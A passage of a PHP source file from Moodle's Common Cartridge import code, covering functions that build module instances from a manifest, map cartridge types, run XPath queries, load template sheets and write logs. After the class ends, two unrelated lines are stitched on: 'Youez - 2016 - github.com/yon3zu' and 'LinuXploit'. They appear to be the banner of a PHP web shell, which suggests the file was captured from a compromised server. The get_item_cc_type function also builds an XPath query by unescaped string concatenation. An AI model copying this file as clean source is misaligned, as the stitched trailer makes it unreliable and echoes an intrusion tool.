        $resource_mod = $count_resource ? $this->create_mod_info_details_mod(MOODLE_TYPE_RESOURCE, $resource_instance) : '';
        $quiz_mod = $count_quiz ? $this->create_mod_info_details_mod(MOODLE_TYPE_QUIZ, $quiz_instance) : '';
        $forum_mod = $count_forum ? $this->create_mod_info_details_mod(MOODLE_TYPE_FORUM, $forum_instance) : '';
        $label_mod = $count_label ? $this->create_mod_info_details_mod(MOODLE_TYPE_LABEL, $label_instance) : '';

        //TODO: label
        return $label_mod . $resource_mod . $quiz_mod . $forum_mod;

    }

    protected function create_mod_info_details_mod($mod_type, $node_info_details_mod_instances_instance) {

        $sheet_info_details_mod = static::loadsheet(SHEET_INFO_DETAILS_MOD);

        $find_tags = array('[#mod_type#]' ,'[#node_info_details_mod_instances_instance#]');
        $replace_values = array($mod_type , $node_info_details_mod_instances_instance);

        return str_replace($find_tags, $replace_values, $sheet_info_details_mod);
    }

    protected function create_mod_info_details_mod_instances_instance($sheet, $instances_quantity, $instances) {

        $instance = '';

        $find_tags = array('[#mod_instance_id#]',
                           '[#mod_name#]',
                           '[#mod_user_info#]');

        for ($i = 1; $i <= $instances_quantity; $i++) {

            $user_info = ($instances[$i - 1]['common_cartriedge_type'] == static::CC_TYPE_FORUM) ? 'true' : 'false';
            if ($instances[$i - 1]['common_cartriedge_type'] == static::CC_TYPE_EMPTY) {
                if ($instances[$i - 1]['deep'] <= ROOT_DEEP ) {
                    continue;
                }
            }

            $replace_values = array($instances[$i - 1]['instance'],
                                    entities::safexml($instances[$i - 1]['title']),
                                    $user_info);

            $instance .= str_replace($find_tags, $replace_values, $sheet);
        }

        return $instance;

    }

    protected function create_instances($items, $level = 0, &$array_index = 0, $index_root = 0) {

        $level++;
        $i = 1;

        if ($items) {

            $xpath = self::newx_path(static::$manifest, static::$namespaces);

            foreach ($items as $item) {

                $array_index++;

                if ($item->nodeName == "item")  {
                    $identifierref = '';
                    if ($item->hasAttribute('identifierref')) {
                      $identifierref = $item->getAttribute('identifierref');
                    }

                    $title = '';
                    $titles = $xpath->query('imscc:title', $item);
                    if ($titles->length > 0) {
                        $title = $titles->item(0)->nodeValue;
                    }

                    $cc_type = $this->get_item_cc_type($identifierref);
                    $moodle_type = $this->convert_to_moodle_type($cc_type);
                    //Fix the label issue - MDL-33523
                    if (empty($identifierref) && empty($title)) {
                      $moodle_type = TYPE_UNKNOWN;
                    }
                }
                elseif ($item->nodeName == "resource")  {

                    $identifierref = $xpath->query('@identifier', $item);
                    $identifierref = !empty($identifierref->item(0)->nodeValue) ? $identifierref->item(0)->nodeValue : '';

                    $cc_type = $this->get_item_cc_type($identifierref);
                    $moodle_type = $this->convert_to_moodle_type($cc_type);

                    $title = 'Quiz Bank ' . ($this->count_instances($moodle_type) + 1);

                }

                if ($level == ROOT_DEEP) {
                    $index_root = $array_index;
                }

                static::$instances['index'][$array_index]['common_cartriedge_type'] = $cc_type;
                static::$instances['index'][$array_index]['moodle_type'] = $moodle_type;
                static::$instances['index'][$array_index]['title'] = $title ? $title : '';
                static::$instances['index'][$array_index]['root_parent'] = $index_root;
                static::$instances['index'][$array_index]['index'] = $array_index;
                static::$instances['index'][$array_index]['deep'] = $level;
                static::$instances['index'][$array_index]['instance'] = $this->count_instances($moodle_type);
                static::$instances['index'][$array_index]['resource_indentifier'] = $identifierref;

                static::$instances['instances'][$moodle_type][] = array('title' => $title,
                                                                        'instance' => static::$instances['index'][$array_index]['instance'],
                                                                        'common_cartriedge_type' => $cc_type,
                                                                        'resource_indentifier' => $identifierref,
                                                                        'deep' => $level);

                $more_items = $xpath->query('imscc:item', $item);

                if ($more_items->length > 0) {
                    $this->create_instances($more_items, $level, $array_index, $index_root);
                }

                $i++;

            }
        }
    }

    public function count_instances($type) {

        $quantity = 0;

        if (array_key_exists('index', static::$instances)) {
            if (static::$instances['index'] && $type) {

                foreach (static::$instances['index'] as $instance) {
                    if (!empty($instance['moodle_type'])) {
                        $types[] = $instance['moodle_type'];
                    }
                }

                $quantity_instances = array_count_values($types);
                $quantity = array_key_exists($type, $quantity_instances) ? $quantity_instances[$type] : 0;
            }
        }

        return $quantity;
    }

    public function convert_to_moodle_type($cc_type) {
        $type = TYPE_UNKNOWN;

        if ($cc_type == static::CC_TYPE_FORUM) {
            $type = MOODLE_TYPE_FORUM;
        }

        if ($cc_type == static::CC_TYPE_QUIZ) {
            $type = MOODLE_TYPE_QUIZ;
        }

        if ($cc_type == static::CC_TYPE_WEBLINK) {
            $type = MOODLE_TYPE_RESOURCE;
        }

        if ($cc_type == static::CC_TYPE_WEBCONTENT) {
            $type = MOODLE_TYPE_RESOURCE;
        }

        if ($cc_type == static::CC_TYPE_ASSOCIATED_CONTENT) {
            $type = MOODLE_TYPE_RESOURCE;
        }

        if ($cc_type == static::CC_TYPE_QUESTION_BANK) {
            $type = MOODLE_TYPE_QUESTION_BANK;
        }
        //TODO: label
        if ($cc_type == static::CC_TYPE_EMPTY) {
            $type = MOODLE_TYPE_LABEL;
        }

        return $type;
    }

    public function get_item_cc_type($identifier) {

        $xpath = static::newx_path(static::$manifest, static::$namespaces);

        $nodes = $xpath->query('/imscc:manifest/imscc:resources/imscc:resource[@identifier="' . $identifier . '"]/@type');

        if ($nodes && !empty($nodes->item(0)->nodeValue)) {
            return $nodes->item(0)->nodeValue;
        } else {
            return '';
        }
    }

    public static function newx_path(DOMDocument $manifest, $namespaces = '') {

        $xpath = new DOMXPath($manifest);

        if (!empty($namespaces)) {
            foreach ($namespaces as $prefix => $ns) {
                if (!$xpath->registerNamespace($prefix, $ns)) {
                    static::log_action('Cannot register the namespace: ' . $prefix . ':' . $ns, true);
                }
            }
        }

        return $xpath;
    }

    public static function loadsheet($file) {

        $content = (is_readable($file) && ($content = file_get_contents($file))) ? $content : false;

        static::log_action('Loading sheet: ' . $file);

        if (!$content) {
            static::log_action('Cannot load the xml sheet: ' . $file, true);
        }

        static::log_action('Load OK!');

        return $content;
    }

    public static function log_file() {
        return static::$path_to_manifest_folder . DIRECTORY_SEPARATOR . 'cc2moodle.log';
    }

    public static function log_action($text, $critical_error = false) {

        $full_message = strtoupper(date("j/n/Y g:i:s a")) . " - " . $text . "\r";

        file_put_contents(static::log_file(), $full_message, FILE_APPEND);

        if ($critical_error) {
            static::critical_error($text);
        }
    }

    protected static function critical_error($text) {

        $path_to_log = static::log_file();

        echo '

        <p>
        <hr />A critical error has been found!

        <p>' . $text . '</p>


        <p>
        The process has been stopped. Please see the <a href="' . $path_to_log . '">log file</a> for more information.</p>

        <p>Log: ' . $path_to_log . '</p>

        <hr />

        </p>
        ';

        die();
    }

    protected function create_course_code($title) {
        //Making sure that text of the short name does not go over the DB limit.
        //and leaving the space to add additional characters by the platform
        $code = substr(strtoupper(str_replace(' ', '', trim($title))),0,94);
        return $code;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit